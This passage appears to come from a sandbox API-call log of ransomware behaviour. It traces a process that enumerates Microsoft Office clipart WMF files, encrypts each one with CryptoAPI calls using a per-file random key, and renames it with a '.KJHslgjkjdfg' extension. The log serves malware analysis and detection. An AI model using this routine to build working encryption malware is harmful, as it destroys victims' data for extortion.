lpOverlapped=0x0) returned 1 [0181.776] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.776] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.776] GetProcessHeap () returned 0x990000 [0181.776] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.776] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.776] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.776] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.776] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.776] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.777] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.777] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.777] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.777] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.777] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.777] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.777] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xbc4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xbc4, lpOverlapped=0x0) returned 1 [0181.777] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbd0, dwBufLen=0xbd0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbd0) returned 1 [0181.777] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.777] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xbd0, lpOverlapped=0x0) returned 1 [0181.778] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.778] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.778] SetEndOfFile (hFile=0x130) returned 1 [0181.780] GetProcessHeap () returned 0x990000 [0181.780] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.780] GetProcessHeap () returned 0x990000 [0181.780] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.780] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.kjhslgjkjdfg")) returned 1 [0181.783] CloseHandle (hObject=0x130) returned 1 [0181.784] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68bb3800, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x68bb3800, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01251_.WMF", cAlternateFileName="")) returned 1 [0181.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.784] GetProcessHeap () returned 0x990000 [0181.784] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.784] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.784] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.784] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0181.787] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.787] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.787] GetProcessHeap () returned 0x990000 [0181.787] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.787] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.787] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.787] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.787] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.788] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.788] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.788] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.788] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.788] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.788] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.788] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.788] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xac4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xac4, lpOverlapped=0x0) returned 1 [0181.788] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xad0, dwBufLen=0xad0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xad0) returned 1 [0181.788] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.788] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xad0, lpOverlapped=0x0) returned 1 [0181.788] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.788] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.789] SetEndOfFile (hFile=0x130) returned 1 [0181.791] GetProcessHeap () returned 0x990000 [0181.791] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.791] GetProcessHeap () returned 0x990000 [0181.791] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.792] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.kjhslgjkjdfg")) returned 1 [0181.794] CloseHandle (hObject=0x130) returned 1 [0181.794] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc436f700, ftCreationTime.dwHighDateTime=0x1bd4b08, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc436f700, ftLastWriteTime.dwHighDateTime=0x1bd4b08, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01545_.WMF", cAlternateFileName="")) returned 1 [0181.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.795] GetProcessHeap () returned 0x990000 [0181.795] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.795] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.795] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.795] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.797] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.798] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.798] GetProcessHeap () returned 0x990000 [0181.798] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.798] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.798] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.798] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.798] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.798] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.798] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.798] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.798] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.798] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.798] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.798] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.799] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1ccc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1ccc, lpOverlapped=0x0) returned 1 [0181.799] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1cd0, dwBufLen=0x1cd0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1cd0) returned 1 [0181.799] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.800] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1cd0, lpOverlapped=0x0) returned 1 [0181.800] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.800] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1da4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.800] SetEndOfFile (hFile=0x130) returned 1 [0181.803] GetProcessHeap () returned 0x990000 [0181.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.803] GetProcessHeap () returned 0x990000 [0181.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.803] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.kjhslgjkjdfg")) returned 1 [0181.808] CloseHandle (hObject=0x130) returned 1 [0181.808] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37a5800, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe37a5800, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1d74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN02122_.WMF", cAlternateFileName="")) returned 1 [0181.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.810] GetProcessHeap () returned 0x990000 [0181.811] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.811] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.811] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.811] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0181.816] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.816] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.816] GetProcessHeap () returned 0x990000 [0181.816] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.816] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.816] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.816] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.816] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.816] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.816] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.817] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.817] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.817] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.817] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.817] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.817] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1d74, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1d74, lpOverlapped=0x0) returned 1 [0181.818] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1d80, dwBufLen=0x1d80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1d80) returned 1 [0181.818] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.818] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1d80, lpOverlapped=0x0) returned 1 [0181.818] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.818] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.818] SetEndOfFile (hFile=0x130) returned 1 [0181.821] GetProcessHeap () returned 0x990000 [0181.821] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.821] GetProcessHeap () returned 0x990000 [0181.821] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.821] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.kjhslgjkjdfg")) returned 1 [0181.824] CloseHandle (hObject=0x130) returned 1 [0181.824] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec9bd00, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcec9bd00, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0x19e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN02559_.WMF", cAlternateFileName="")) returned 1 [0181.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.826] GetProcessHeap () returned 0x990000 [0181.826] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.826] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.826] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.826] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.829] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.829] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.829] GetProcessHeap () returned 0x990000 [0181.829] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.829] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.829] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.829] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.830] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.830] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.830] WriteFile (in: 